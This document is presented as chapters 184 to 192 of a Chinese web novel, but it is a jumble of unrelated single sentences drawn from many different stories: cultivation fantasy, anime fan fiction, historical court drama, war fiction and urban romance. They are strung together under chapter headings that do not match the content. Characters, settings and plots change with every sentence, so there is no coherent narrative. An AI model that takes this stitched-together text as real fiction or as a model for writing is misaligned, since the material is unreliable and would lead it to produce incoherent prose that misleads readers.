想罢林雨便将神识之火悄然遍布全身,在火焰怪物触及神识之火的那一刹那,接触的部分竟如冰雪消融般消失的无影无踪,林雨自然是大喜过望,凭借神识之火一举将对方消灭。 第一卷 第184章 我有办法拿到京耀的合作 因为家里还有一个病人,岑予衿和陆京洲也没有留宿。 陆老太太给岑予衿准备了很多很多好东西。 确定没人后,两人离开酒吧,却没有注意到,灯光闪烁的酒吧里有闪光灯悄悄一亮。 “呜呜……”花斑豹低吼一声,叼起金丹真人的尸身转身就走,直奔荒谷深处而去。 这门传承果然不凡,对于丹道讲解的非常透彻,第一炉步虚丹他就炼成了四颗,第二炉炼成了五颗,从第五炉开始,稳定在七八颗的水准,而且品相非常好,很少有下品灵丹,大多是中上品,甚至还有极品丹药出现。 “这里应该只是普通房间,没有发现什么有价值的东西。”海马上校随口说道。 有一天,秋婵听了这曲佛音,心里深有感触,非要跟白飞儿学习这首曲子不可。 莲香想起加入烈焰门的时候,也曾经发过誓,不得欺师灭祖,不得无故残害同门,虽然没将其当回事,但如果杀了钟北山,说不定日后会增加劫难,于是轻哼一声,将仙火收了回来。 它是周欢最大的机遇,它帮助周欢走上了这条路,周欢非常的感激它,包括到现在,周欢也非常的感激系统。 “你要是跟她在一起!我和你就再也没有半点关系!”狱夫人的表情也彻底的冷了下来。 这样的事情发生,是梧桐想要的,可是也没有想到真的能这样子就做成了。 “师弟要知耻而后勇,修炼一途胜败难料,没有人会一路顺风顺水!”沈霄淡淡的开口安慰道。 这人势单力孤,也没有再多说什么,就愤然离开了鸿程公司的包厢。 且看这七只形态各异,五彩斑斓的猛虎,慕天狂眯眸细观之下,竟发现这七只虎的境界,已然抵达天神境。 不过中途沉船,这一箱子宝物就留在了船上,便宜了魏立一行人。 姜秋兰手里的筷子猛的一下拍在了桌面上,当即发出一阵清脆的响声,安家众人一时间倒是都沉默了下来,意外的看着姜秋兰。 每个被搜寻出i的兵奴,都进行了彻底的反抗,直接将机枪梭子中的子弹用干净。 “行了,大家到这边来。”人员到齐,导演招呼了一众人过去集合。 一营和二营的战士们,在重炮跟前,留下了一个连的战士保护重炮,以及炮兵战士,预防意外情况的发生。 这句话轻松治好了谢茵然的焦虑,也让她想好了怎么应对谭可馨的请求。 两教这万年以来,只怕也没少图谋过外域,可能是教训过于深重了,畏首畏尾。 他们身上穿着的衣服并不是普通警服,而是统一的黑色特制警服,上面写着‘反恐’二字。 在那巨力冲击之下,身影被生生击飞百丈。刚刚停住,半空中又身躯闪动,连续让开了几道陆续袭来的道法。 其后,中华帝国长驱直入,不仅收复了被占的云南地区,还攻入了缅甸,占据了缅甸北方近十万平方公里的土地。 听木兰一说,三人急忙扭头看向6青峰和三人打斗之处,一看之下全都大吃一惊。 顾眉景摁响门铃,迟迟没有人来开门,她不厌其烦的又摁了一下,准备再摁一下,门唰一下从里边拉开。 第一卷 第185章 我是京耀的掌权人 夏楚君身体僵立,唇微抿,即使没有得到他的回应,她差不多也能猜到一些。他或许只是喜欢夏轻萧的性子,能够在一起相谈甚欢,不必有所顾忌。 终离山后有一大片的野草,铁柔躺在地上枕着上邪,随意地翘着二郎腿,慵懒地闭着眼睛,嘴里吊着一根稻草,懒洋洋地惬意极了。 唐俭又怎么可能不知道,李世民同意和谈的最大原因不是因为虚无缥缈的面子,大臣们的劝荐也是顺势而为,最大的原因是因为大军被困在了阴山之外。 陈缘跟王卫东下了马,对牛氏兄弟和王亚楠说道,你们就地等候,有事儿再叫你们。王亚楠等点点头,勒住马,采取警戒的状态。 不过看这个样好像这两个猛兽又不是被这个僧人驯服,而像是饿了要吞食他的样子,那为什么有老是转圈而不扑咬呢? 许是自己在这世上最后的一个晚上,全军都静静的躺在营地山,整个营地都静悄悄的。 现在他的点卷已经达到了五千之数,等到回去后,再加上所有任务的东西,总体也会有一万,到时候,就看这所谓的金碧辉煌,那什么和他的香榭里争。 林杰的声音之中一阵恶寒,瞪大了眼睛盯着自己的双手,诡异的事情发生了。 他看得一阵眼馋。虽然因为商城点券不多,不能随意购买,但怎么也有个念想,一时间不禁忍不住浮想联翩起来。 陶勇已然拼命,其他人自然不能退缩,梁磊、月琴、孙天路等人同样顶着对面的攻击冲了上去。 光启·望舒问时,昆吾并不说话,看来前者还不知道引领者中有世界政府的人。 她拿着她包里备用的元橙橙家的钥匙打开门的时候,第一眼看到的……居然是元橙橙坐在沙发上摆弄着一壶花茶的样子。 几乎每隔一段时间她会情不自禁的往天空去看一下,以此判断撤回众人的时间。 “本来我就没想着要他带我回来,是他多此一举罢了。”我冷冷地说。 第一种的可能性比较低,毕竟,他们在这里经营了这么多年,对于周围的情况早就已经熟悉到不能够再继续熟悉了,哪里有磁场,哪里没有磁场,早就已经一清二楚了。 但随后就又有些放松……这人一看就不知道哪个山沟沟来的观光客,南京都入夏了,竟还穿着厚兽皮满街乱走。 姬若华自言自语地说着话,他现在也不知道自己为什么要自言自语了,他并不觉的这样看起来像精神病,反而觉得这样十分的有安全感。 “不喝了不喝了,这姑娘说要退赛了,我这得把姑娘送回去。”血狼朝众人一一摆手,示意要带姑娘离开。 听到梅子嫣喊他的名字,他侧侧身子睁开眼睛向她望去,俊秀的眉宇拢着轻愁却还是对她点到即止地浅淡一笑,幽深的瞳仁眸光黯淡,冷漠依旧。 她终究,还是让他见着了她的样子。为什么呢,难道是真的喜欢他吗? 很显然,她们这“秋煞阵”必是出自于司寇心之手的,七人气息的融合完美无瑕,浑然一体一丝的缺陷都没有,独孤雯可没这本事。 “家父如今正在整顿唐家,自然是没时间来宁家拜访的。”唐天棋说道。 安国公已经死去多年,在百姓之中已经是一个陌生的名字,但在三军不同,历史齿轮的推进会让伟大的人更显得伟大,战乱年代的功勋,和平盛世的英雄,在他们心目中都有着不一样的地位。 火焰如同大海之中的涛浪般,疯狂呼啸,几道足有百丈庞大的火焰龙卷风,在杨然周身成形,一条条火龙,在风暴之外盘旋咆哮。 一直习惯了追击苏凡的四神卫显然没有想到对方会主动发起攻击。 毕竟是寄托了多少年的念想,父亲这种隐晦的暗示,足以说明他对这条路的不看好,张子懿心情失落也是正常。 红绳一松,回到胖子手里。方继彬脖子上没了黑线,顿时感觉轻松起来。叶枫将他额头的符撕了,捏成一团扔了。 不用白杰多说,方淩已经跑到了六号单厕门口,将门拍的砰砰直响。确定内部真的有人之后,方淩抬起一脚对着大门狠狠踹去。他刚才差一点就被弄死了,这口气不得不出。 已经入了夜禁,但京城四处可见灯火,客栈等地更是灯火通明,这是明日考试的士子在备考,贡院早已被打扫干净,在今日,负责监考的特派官吏已经入住了贡院,在接下来的三场考试之中他们的吃住都必须在这座贡院之中。 直忙了两天,第三日上,做活儿的农人脸上都带了笑。今日的活计做完,就可以领钱回家了。 动了动身体,发现自己被绑住了,而一旁的流云却已经醒了过来,正在挪动着身体,似乎想办法挣脱着。 说着,那个护士打开自己的手里,翻出来保存好的照片,一个一个的给另一个护士看。 金珠出去准备,苏慕灵把一瘸一拐的石榴架到卧房。扒下她身上散发着异味的衣裳,苏慕灵这才发现,石榴的身上到处是淤青,一条腿已经严重变形。 “我若是讲,我担心你,过来瞧瞧你,你信吗?”欧阳淮煜再次回到凳子上,望着夏知雪。 并且前线的战况确实危急,作为皇上,他肯定不可能眼睁睁的看着将士们面对危险。而且陌玄胤也确实喝了这么多天的补汤,换作是她自己,也早就觉得厌烦了。所以,陌玄胤这个样子,她完全可以理解。 第一卷 第186章 蔫了吧唧的 夜色漫过檀月山庄的落地窗,将书房里暖黄的灯光晕染得愈发柔和,窗外的桂树影影绰绰,风一吹便飘进淡淡的甜香。 “很简单,我要你帮我夺回那一半血脉。”泰岳云淡风轻地说道。 刘韬杀人之前,幡然醒悟,最终放弃了人质,刀子对准了自己,这样的戏码似乎也不错? 商人就是商人,总能想出第一时间拿到货款的对策。严怡然感慨自己还是太嫩,做事不够老道。 炼丹炉内,草药在高温下融为一团液体,在灵力的趋势下,融合,压缩。 苏墨染怔楞了一下,想想自己的厚脸皮,于是轻松的说服了自己,说服自己当时只不过是太害怕了的缘故。 在自己的眼中,很多的东西都是看似正常,实际上很多的情况都是没有想象中的那般特别。 “叮!宿主,危险感应,四星程度!此人功力高深,最少天罡境大成级别!”依依着急说道。 “丹丹同志,您是我亲妈不?能有您这么埋汰自家儿砸的不?”巴图努力想要装出一副凶狠的模样,却怎么装都还是那副样子。 其实这会儿关于黛芙拉的事情,秦川心里还没想明白,所以下次黛芙拉和他交流的时候,他一定要跟黛芙拉问问。他总感觉,自己这个灵的身份不简单,如果黛芙拉不是灵,那她接近自己的目的到底是什么? 花十一很喜欢这种什么时候都有意外,动不动就会出现惊喜的结果。 每个队伍都可以选择自己想挑战的擂台,如果迟了那就只能是那个擂台上缺少了人的时候,及时补上。 至于帝楼那边,向光蓓心里暗暗下定决心,等他成功通过这个门户后,必然要跟帝楼正面交手一场。 这下韩凝就不乐意了,急忙拦住了我,引导着我摸到了会阴穴的位置。 乔秋雪没敢继续把车往里面开,因为废弃的码头里面很有可能有人在监视,靠得太近容易打草惊蛇。 索性,他便躺在椅子上,喝着酒儿哼着歌,无比心安的看着她的笑话,而她全然不知。 突然瞧见远处有一间客栈,绿色环绕其中,别有一番雅致的韵味。 李江南只是注视着低头的易轻霜,眼神想要挪开,却始终挪不开。 别看他在圈子里很牛逼,好像呼风唤雨似的,可他很清楚,出了圈子,他算不了什么。 林宇掏出手机拨打了水天山庄楼处的电话,没一会就有一个身穿西装的中年赶了过来。 与此同时,一只巨大的金色麒麟自其体内猛然窜出,犹如洪荒猛兽降临,顿时让大厅多了一股莽荒的气息。 “去吧。”感觉着两人传递过来的真诚,龙刺似乎看到了龙组的明天。 楚黎脸色发紫,又惊又怒之下,身形竟然硬生生向后横移了两尺,断臂处的衣袖轻轻一挥,便卷住了刚刚刺向自己要害那道红光。 刺骨的冷风吹到脸上好似刀刮一样的疼,他的靴子也已经完全被雪水浸湿,斗篷也早已不知丢到了何处。 两人刚走出苏扬大学的时候,一个风度翩翩的青年朝她们走了过来。 “师尊,我觉得几位长老说的对,此子不能留。”吴逸青也跟着光头老者说道。 第一卷 第187章 平平安安的 其中,一处房子,是奉节人最重要的。对于奉节这边的人来说,大多都是愿意用绝大部分的财产来修建一幢属于自己的房子。 凌肃刚刚进了牢房,便见脱离的口中突然涌出了一口鲜血,吓得让连顿时连退了两步,脸都吓白了。 “怎么是他们呀?不是应该让几个军士来学吗?”黄玥也想不明白。 二叔现在病好大半,也知道自己身上骷髅金身神奇威力,他觉得自己一生神功不能浪费。于是想了一宿,想出一个为世界造福的办法。 将镇压苍天拳交给石昊之后,李七夜的教导算是告一段落。石昊的基础可谓是举世无双,正要能够成长起来,日后的成就不可限量。 所以,这就是一个复杂的状态。有的时候,他们会为了一张脸而打的死去活来。有的时候,也会不要自己的这张脸,好像是别人脸上的东西一般。 来者不是别人,正是二人已经讨论多次的老太太,也是仙尊镇现任的镇长。葛月英。 同时,镇长刘清和副镇长连同宣传办的主任决定明天过来视察一下。 脸色越加的难看了,当着外人的面赶自己走,没什么比这个更加难堪的了。 确实,他的心事被聂青说中了,他是怕郑含和朱胜君遇到而惹出麻烦事来。 钟妙回头便把这个事说到了杨庆香和王宝莲那边去,除了让她们俩到时候‘重点’把人盯着之外,还让她们留意在家里做工的人的一举一动。 “瑶瑶姐,你怎么去了那么久?”李妍转身看到姜瑶进门,多少有些尴尬,毕竟她到现在还没联系上人。 谁知,姚五伯也从兜里掏出张灯油单子,乐呵呵地递到含钏跟前。 跟秦睿谈完话,杨兴便派人回到族内通知族内的高手前来协助他们。 其实武夫丘上用特异的剑叶祭炼成套的剑阵法器,其思路与宝玉炼化石头蛋是类似的,由一棵树上结出的剑叶以合器之法炼制而成。一枚特异剑叶炼成的飞剑威力不大,但合炼成成套的剑阵法器之后,则可弥补这个弱点。 “什么鬼东西?”秦峰整张脸此刻都是火辣辣的疼,刚才岩浆差点将其给毁容。 我看着这,心中一片巨震,这个就是我爸爸,那时候他和我们是多么幸福的一家呀。 含钏瘪瘪嘴,还行吧,昨儿差点为了她头发的桂花香赋诗一首来着。 经过了秦鸣的一阵忙活,秦峰也是收回了自己的部分进攻,二人以平手落幕,不过在场的人都非常清楚,包括秦鸣自己,他是发挥了自己全部的力量才完成试探的,因此此场比试完全可以说自己是失败的那一方。 理论上,到达某种境界,便可掌握相应的神通手段;但实际上,因为根基不稳、功力不足、体会不深、修炼不够、功法有所侧重等等原因,很多修士在最初时是施展不出来的。 像原剧情中的黑崎一护那样觉醒就有斩魄刀的,属于极个别的特例,尸魂界绝大多数的死神,使用的都是由二枚屋王悦打造的浅打。 组长纠结了好半天,因为楚云被感染之前的时候已经强调过了,不管发生什么情况都不要对他进行救治,他要自己感受一下这些病毒的威力,现在这种情况如果贸然进去的话很有可能打断楚云的计划。 他用的是神识传音的手段,嘴巴根本没动,声音却已经传到隔壁房间马师傅的脑海中了。 “没事,今天想吃什么?我带你去吃。”杰瑞心里最担心的一件事情可是已经解决了,现在就只是龙景腾和欧阳佳铭之间的矛盾了。 等到千机和我爱罗都吃完饭离开桌子之后,千代婆婆才朝着张淼的木遁分身开了口。 林楚天摇了摇头,他没有问过,也从未听程道风爷孙二人说起过。 说完,他就纵身一跃,只见从刚才被佐助击出的大窟窿处离开了,见宇智波鼬走了,干柿鬼鲛也连忙跟了上去。 为了抵御我爱罗操控的庞大砂流,罗砂只能将所有能够控制的砂金都集中到了空中。 众人闻言望去,果然!在劫云下方圆近百里的区域,突然出现了一片白蒙蒙的雾气,连那狂风都停止了吹动,那些本来随风飘扬的沙石不知道什么时候已经蒙上了一层冰霜,正静静的躺在地上。 马尭很明显惧怕怪物,如果是普通的鬼怪,她都不会畏惧三分,可是眼前这些根本称呼不上正常的怪物,却是让人怎么也镇定不起来的。 早饭结束,随着纷纷的雪花落下,客栈的住客们,也从店里面鱼贯而出,开始迎接新的一天。 “淑贵妃不是我害死的,与我无关。”娴贵妃蹲在地上,深吸一口气,不曾理会德贵妃的话,只深吸了一口气,咬牙看向皇帝,说的是淑贵妃,而非淑妃。 备份资料是个麻烦的事儿,东西太多时间会长,所以我就简单把电话号码都存了过去,江皓的号码之前我都没认真存过,所以只是通话记录里的一串数字。 第一卷 第188章 要是四维过不了可怎么办? 医院的楼层格外安静,空气中弥漫着淡淡的消毒水气味,混合着若有似无的香氛,试图营造出舒缓的氛围。 “既然你有朋友在,那我就先回去了。”紫雅凝莞尔一笑,淡淡道:“那我就不打扰你们说话了。”说完紫雅凝就准备离开了。 “不客气?”几个大汉当中一人哈哈大笑起来,唰的从怀里拔出一把枪。 杨南见这些外门弟子总算提起了一点精神,当下也不多话,驾起阴蚀便化做一道遁光往天际而去,众弟子不敢怠慢,或驱剑、或使法器,一起跟了上去。 “算了算了,他这保证,和不保证没什么两样咯。”陈正男这都恨屋及乌,都不太喜欢这种学生的家长了。 上架了中阶国器之后按照装备估价点数搜索赫然可见混沌破天刃排在了第一位排在第二的则是一把中品仙器的匕首攻击上限只有3000多一点点差了好远。 “都说了,你们不听我把话说完。我说他是我真命天子的干爹,我的真命天子还没有出生。”爱儿道。 整整一个牙旷部佛妖兵的兵力,也让我的军职提升到牙旷帅,现在我的私属兵力主要跟军职提升挂钩,所以我的私属兵力也已经多达一个牙旷部。这让接下来的妖京保卫战多了一分胜算。 “怜儿不是这个意思,怜儿就是随便说说。”温婉如水的怜儿婉约的笑着,轻声说道。 锦湖苑这边还热闹,售楼部前的广场上搭了彩台,挂满彩旗和汽球,一派过大节的景象。 杜安来到金三角三四天时间了,但是他和那些毒龙会成员在这里过得日子,每天除了粗茶淡饭,而且还不能随意走动,看着那些金三角军人看向他们警惕眼神的时候,杜安也就知道自己来到这里其实和在监狱里的日子差不多。 极少被点名成为众人目光所触及最中心处的袁敏有些忐忑,憋着一口气坐在椅子上有些搭不上话,对这种事颇有心得的6玟丞倒是悠哉的喝了口茶,丝毫不受影响。 “的确是急不来的,大嫂你看看我,和四爷成亲多年之后才有了晖儿,晖儿都去上138看書蛧了才有阳儿,阳儿也这么大了,我才又怀上身子,所以说,孩子这事儿,的确是急不来的。”婉如笑眯眯的拿自己举例子。 “安罗市。”楚涵的声音很平静,完全不顾这三个字给人带来的震撼。 一行五人,出派出所的时候,门口这个时候竟然停着三四辆轿车。 毕方瞬间显化了本体,它鲜艳的羽毛喷吐一条又一条的大火,非常的汹涌澎湃,独脚轰然间踩踏而出,攻向了黎青均。 和帅、刘鹏两人纷纷带上虚拟头盔,先是眼前一黑,随即亮起来进入游戏画面。 印象里,平常看电视转播都是评委打完分,去掉一个最高分一个最低分取平均分之类的。可,看今天的形势却有所不同。 虽然这样的从属关系在大多数人看来算不上自由,可对于阿卡莎而言,却莫名的有一种“幸福感”——当然,这种想法是有原因的。 第一卷 第189章 送去检测的药有结果了! 他简直要哭出来,这样自己怎么回去?难不成要在人前现形?变成狐狸跑回去? 所以他看到这东西都是避而远之,但是因为它的效果太好,很多人还是抗拒不了诱惑,对他推崇备至。 在博爱医院门口,六姨的手机突然响了一声,她不经意地拿起看了看,顿时眼睛瞪得像铜玲似的,嘴巴也笑得合不上了。 她自然看的出来月影对她的不喜,可她也没有办法,如今她就像陷入了一个怪圈一样。 叶康进城后没有直接去王宫,信步走在大街上,想看一看这长安城内建设的怎么样。 说完,范明就把门给关上了,他的意思已经非常明显了,那就是叫苏晓琪在这里保护他。 “瞧不起谁呢,给你自己看,”吴婧懒得跟她废话,拿过拍卖单,直接甩给她。 吴妈有些不好意思,但架不住众人的劝说,她只能对秦浩一边感谢,一边忐忑不安地坐在了末尾。 “花老师,你的耳朵大概幻听了,铃还没响呢。”唐瑶说完拉着慕思思的手就溜回了教室。 趁着陈良月去取马的时间,楚云盛笑着道:“姐姐,我要送你的这匹马,绝对是你这里没有的,你看见了,一定喜欢”。 抬头望去,在叶子晨刚进到这个镇子的时候他就注意到了这个钟楼。 然而,各种异果散发的香味,太具诱惑力,不断冲击着爱丽丝的定力,刺激爱丽丝吞咽口水。 应该不对,而是自己白色石头当时吞噬了白魔的命石,所以留有他的气息。 再说了,这骆鸿飞使坏不假,傲寒打人也不假,衙门具体怎么处理都有道理,他何必趟浑水? 要知道,连昆仑峰,都时刻被炎龙监控着,复仇者组织,又怎么可能看不到阳神峰的情况呢。 说是庇护,可无非就是替修士们打杂,定期的家家户户,都要上贡一些物资,来换取在这里生活的权力。 当然,也包括王九霄为了杀叶帆,曾经打算连他也一起炸死,顺便还杀了一个岛上的工作人员,冒充科研人员。 “你叫我什么!”傅靳言沉着脸盯着星河,格外冷冽,十分吓人。 野寂静了很一会儿,才有人尝试着靠近深坑,可那里面除了斑驳血迹,好像什么都没有。 这个锦盒有半米见方,红木质地的锦盒显得高端大气,一看就不是普通东西。 “想不到凝练出两百九十九万九千九百九十九条混沌规则后就变得难了许多!”陆辰远面容严肃地想到。 灭霸在心灵宝石设下的后手,已经被第二雨发现并且清除,所以他们可以随心所欲的使用。 不过接着他就拼命克制住了自己,为了不让众人久等,也为了不让沐云苏继续担心,他赶紧四处摸索寻找幽冥断。据玄君逸所说,这种水草的边缘有锯齿,而且摸起来异常滑溜,应该很容易辨别。 董哲扭头看了一眼另一个半场的科尔多瓦队员们,回道:“毕尔巴鄂在甲级,和咱们没什么竞争关系。 “什么?!你不治了?你的意思是说了这么半天,你都是在耍老夫玩的?”高太医一脸蛮横的破口大骂道。 来人虽然风尘仆仆,眉宇之间难掩倦色,却掩不住一贯的优雅高贵,不是久未见面的玄羽洛是谁? 早在拜会康森贵之前,凌雨就已经在外面买了电话卡,如今正好可以将电话留给对方。 只见岁月在她的面容上留下太多的印痕,那张布满皱纹的脸以及干瘦的没有一点重量的身、体让苏北辰有种触目惊心的感觉。 要不是四阶阴灵并不是仅凭着魂力增强就可以进阶成功,恐怕灰猫会直接把它们催生成四阶阴灵,看它们还能不能再觉醒神通。 普通百姓不知道这是怎么回事,但某些人却是知道的——这些资料,都是霍怀安和朱玉的人放出来的。 那骆寒山所使用的纤细长剑,与这四名淳家子弟手中的纤细长剑,锻造手法几乎是如出一辙。 不管是魏亭还是盛朝辉,都对平安医院很熟悉,但今天的平安医院,瞧着跟以往有些不同。 实在待不住了,沈斐一脚踹开门进去,一眼便见已经换好衣裳躺着的朝曦,和忙活着收拾残局的稳婆们,桌子上放着一个半包好的布包。 “以后夫人和老太爷就吃饭,我们就吃馒头,偶尔煮上一碗粥就行!”方母说道。 医院开了之后,傅蕴安就清闲下来了,穆琼对此时的医院,也有了一定的了解。 为了获得超越常人力量的人,为了得到更强大生命力的人,为了改变未来的人……形形色色为了不同目的的人们投身于自我改造,组成了盖罗的军队。 第一卷 第190章 药没问题? 周时越盯着手机屏幕上特助发来的最后一条消息,指尖微微发凉,不自觉的瞪大了眼睛。 二人分别从左右甬道上进入拜见崇宗李乾顺,报上自己的姓名、籍贯、职位,三呼万岁。 “暂时是六个,但不见得比这一头强。”李天畤的话并非危言耸听,也不是安慰,仅仅是实情陈述,‘星虫’暂时就发现了六头神魔,后续还有没有更多,谁也说不清楚,随着时间的退役才会有结果。 就在计秋瑶张口回答的时候,罗平迅速的将一颗黑色药丸抛进了她的嘴里,然后捂住她的嘴巴,最后拍了一下她的后背。 李天畤伸手在尸体的衣服上一拽,灰衣居然又很强的韧性和张力,以他的手劲,居然一把下去没有扯破,让他十分意外。 司马如和金如楠下车默默的看着他们两个,刚才他们收到了最新资讯,围剿失败,他们飞走了,还劫持了黛西蒙作为人质。 站在一旁观看的叶东城,看到林秋雅脸上表情的变化,他的心里却在暗暗分析着一些事情,那就是他感觉现在林秋雅承受的痛楚,远远达不到之前他承受的痛楚,这是怎么回事? 因此这天都起的早早,一旦城门开放,立刻就领人进城,到王继昭帐前伺候。 “好,大柱,你按这个名单让人去通知他们到司令部开会。”高宠交全大柱一张高级指挥官的名单。 “哈哈哈!”白风晓和红七都捧腹大笑,一副尽在手中掌握的样子。 “放心吧,雨灵。虽然我们现在实力还弱,但是总有一天,我们会强起来的。一切一定会好起来的,要相信,明天会更好!”铁木云认真的看着她,两人目光相对。 看到一些数据分析时,唐枫就询问旁边的潇潇,潇潇就给他讲解一下,除此之外没有任何人说话,甚至是连动都没人动,鸦雀无声,只有信纸被翻动的声响。 殷枫的双眼有些泛红,他本是奴仆中的一员,若无机遇,他同样只能绝望等死,凡人的无奈他都体会过,且很刻骨。似是想到了悲恸的往事,殷枫的躯体都有些颤抖。 帅哥自带气场,再加上礼仪周到,令人不由自主生出好感。范离暗自感叹一声,关山和毛杰干活的时候要是带上这货,也不至于连微信都拿不到。当然了,要是带上他,最后可能落得更惨的下场。 “你要是被一堆歪瓜裂枣般的屁股围着,要签名,你就知道好还是不好了!”殷枫笑着回应道。 阎云左右看了看,西区的人口比他们区域要密集三倍以上,街道上流动的人口丝毫不比以前少,在这起冲突如果擦枪走火相信军队不会同意。 据说他们的终极目标是虚拟世界,虽然过于缥缈了一些,但有范离这尊大神押注,未必就不可能。 这让王总非常恼火,心里早就憋着气了。所以这次决定朝着联盟挥锄头的时候,他就把鼎盛传媒那边的目标全划进了自己的任务里。 可他听完唐枫一席话后,心底突然产生一丝悔意!今天可能碰到对手了……。 第一卷 第191章 出国 。”一边的纸片人虽然挤不出什么笑容,但是也同样抛出善意的眼光。 可如果连这样的防御都无法阻挡住王初鸿的七殇破的话,那就只能靠王枭楚的双龙吟,能不能压制住他爆发的野性了。 再怎么说自己也是一名堂堂的大帝!这种修为,就算是放在他们以前那个年代,都算得上绝对的强者! “可是!”李梦思怎么说都不肯给王轩龙跪下磕头。俗话说男儿膝下有黄金,李梦思平时连他老爸都不肯跪,又怎么会在他的眼中钉面前下跪呢? 心底的酸气和恼怒毫无征兆的冒了出来,她非常憎恨这种感觉,很想扭头就走,可锐王在这里,她不得不按捺下折磨人的情绪陪在这里。 嘴角溢出大口的鲜血,这一幕,令的观战的四人顿时就倒吸了一口冷气! 石猴话音一落,他们脚下的阵坛便猛然迸发出强烈的光芒,将他们吞没。 刘灵珊躺在床上辗转反侧的睡不着觉,自己不能就这么的坐以待毙,自己必须立马行动起来,毕竟留给自己的日子不多了。 从丹和寄云面面相觑,不知所措的看着惠妃,这里是深宫,怎么去见宁王?皇后会同意吗? “然后呢?”看来姬月并没有被琉星的拼老命的夸奖作战有所影响,姬月还是一张扑克脸。看来这样只好转装可怜作战了。 这才让她面色好看了一点,顺理成章的把脚踩在我的肚子上,我半蹲在地上,看着她把沈林风拉到沙发上坐着。 “果然瞒不住多久……”三生门主退回,不再追击,与石中帝等人汇合。 “忙什么呢?”程欣显然也还不知道剧组发生的事情,只是很平常的询问着。 一拳不敌四手,朱明宇本身就少于锻炼,在几个高大威猛的保安面前根本没能支撑住多久,就被四脚朝天的扔了出来。 一边搂着美人,一边喝着美酒。陈肖然的感觉不错,一时也没说什么扫兴的话。 艘远科地酷艘学接月远接球看着缓缓出现的怪物,同天拔出自己的剑,第一眼,同天就被装备的造型给吸引住了,他最爱的黑白搭配在剑上得到了淋漓的体现。 周围的人他大部分都认识,那实力连他都打不过居然还想要抢劫眼前的这个男人。 “先贤归来了!”当战船飞回源星时,被人看见,顿时引得四方震动。 但是我激动归激动,现在却依然没有说什么,是等待着老爷子把话继续说下去。 她是刚刚冲完凉,有着果睡习惯的她,此刻里面正是真空。向罡天用这种方法强行闯入,让她很是不适应。二十几年,以这样的状态出现在男人面前,这绝对是第一次。 我一边指挥各排进入战斗状态,一边也暗暗祈祷,祈祷援军尽早赶到。 我想不管是谁,被告诉了自己的儿子想要攻打自己,都会非常难以接受,冯亦也是如此,冯亦沉默了很长时间没有说话。 “没关系的,放心,我会一边请假一边学习的!”我真想告诉她,我现在直接参加高考,然后随便考哪所大学基本都不是什么问题。 林妮是真的被吓到了,因为一点儿防备都没有,一瞬间,心脏差点儿停止了。 为什么他认识圣尊还会养这种诡异的东西呢?但是看他的语气,似乎和圣尊关系也不怎么样。只是叶振后悔没有能看出他长什么样子。 与此同时,顷战派们也都下到地上王国,人类国度当中去,去弥补他们的错误。 她放下了手机,可能是白天睡的太多的,所以,现在到是有些睡不着。 这是伊凡和浩二的杰作,他们借丁振扣押真一这个事情,挑起了他们之间的矛盾。 穿过树林龙鹰离他们已经很近了,沈铜早就已经下令关掉一切的通讯设备。 现在糊里糊涂的,什么都想不起来,便把她当成真正的娘子看待,这家伙也是纯得很,别人说什么,他觉得差不多也就信了,就不知道这世上还存在着欺骗这一说吗? 扎耶娜娜美皱着眉头,怎么也没想到沐凡不仅武功高强,还见多识广。 黄鹤听了,连忙命令道:“传令下去,让大军停止前进,在附近密林中暂歇,等我命令再开拔!运粮官取一石米面来,我有急用!”,传令官听了连忙传令下去。 “不衣丝麻,不食五谷,行年七十,犹有童子之颜色。”是为史籍所载最早之辟谷实践者。 可以说,这四座山城一设,便将辽东城牢牢地拱卫了起来。大夏若想不管他们,强攻辽东城,他们支援便可从山城倾巢而出,切割大军,制造混乱,也令攻城部队没有退路。可若要是先破四城,难度实在太大。 “别说了。”梦南天闭了闭眼,刚才不是没有注意到,一向对他尊敬有加的南儿未曾喊过他一声师父,走时也不过向他匆匆点头。 武藏次川愣了一下,望着眼前黑洞洞的枪口,眼神当中空洞无光,自己的一生,难道就要结束在这里了吗? 秦轲的眼神一愣,双目中迸发出来一股冰冷杀气,把那轩辕青云吓得身体都是一颤。 裴熙心里也攒了一团火,闻言便道:“听闻凉州民风剽悍,多匪徒和马贼,一旦风闻什么消息,便派支军队过去。”名义上是剿匪,实际上,哼,天下之凶,莫过于兵,市井混混还敢在当兵的面前闹腾?杀了都不为过。 第一卷 第192章 重新做检查! 他们都眼睁睁地看着我,可是,下一刻,我很不争气,眼前一花,晕倒在地。 所有人,都只能眼睁睁的看着,那道剑光,朝着化神云头顶落下。 似乎他能够在这样的场合做这样的事情,是一件值得称赞的事情。 这名财团公子有个很喜庆的名字,叫做康福乐,父亲是康宏集团掌门人,康宏集团下属数家明星企业,涉足帝都南方几乎半个帝国的机械制造、餐饮零售和购物娱乐等行业。 “国丈大人莫不是以为以你赶路的速度,能在荆州军追上我们之前赶到京口吧?”司马道子冷笑着接口说道。 但是,如果跟我们褚琊皇室成婚,那么就不是变成金丝雀这么简单了,而是飞上枝头变凤凰,你们穆家能够彻底腾飞,摆脱三流家族的标签,彻彻底底成为郡国之内的顶级家族。 而这时呢,李长林就坐在警局的调解室,眼看着林若男侃侃而谈。 虽然我和传说中的诗仙李白未曾谋面,但是知道他也是我血浓于水的家族长辈,我又怎么不心痛。 唐易有些蒙了,面对上官思语的嚎啕大哭,不知道该怎么办了起来。 “这是?他选择逃离了?”一个异族的强者冷笑一声,目光之中尽是对人族的不屑。 还想更远,那需要的资源就是海量,除非李悟能有什么机缘,实力突飞猛进才行。 谢芷柔轻抚长剑,缓缓将长剑从剑鞘里拔出,长剑轻吟,真气缓缓从谢芷柔身上释放而出。 她话音还没落地,办公室中已经沉寂了很久的电话,就忽然响了起来。 鲜血“汩汩”着冒出来,将时峰苍白的脸颊染的模糊不清,样子极其可怖。 这一下,他也不敢再挡门了,连忙退到一侧,顺手抄起了一个花瓶拿在手里。 突然从空中吐出大量的柱状水,完全抵消了野猪的的攻击,并且把野猪席卷到一边。 整个地府中的所有人,都不是正版的,都是冠以名后鬼修假扮的。 举目四望,泰坦尼克号游轮已经完全沉没,所有的人都沉没了,生死未知。 他不确定浅江是否将舞未央送回了蓬莱坞,但他确信舞未央现在平安无事,浅江虽是妖族,但并非大奸大恶之人,行为风度也称得上是正人君子,虽然不知道浅江带走那姑娘意欲何为,但他知道浅江一定会护她周全。 见有栖川葵招式空隙之间,随手甩出一道充满爆炸之势的符箓,如同鞭炮一般,在天空绽放出灿烂的礼花。 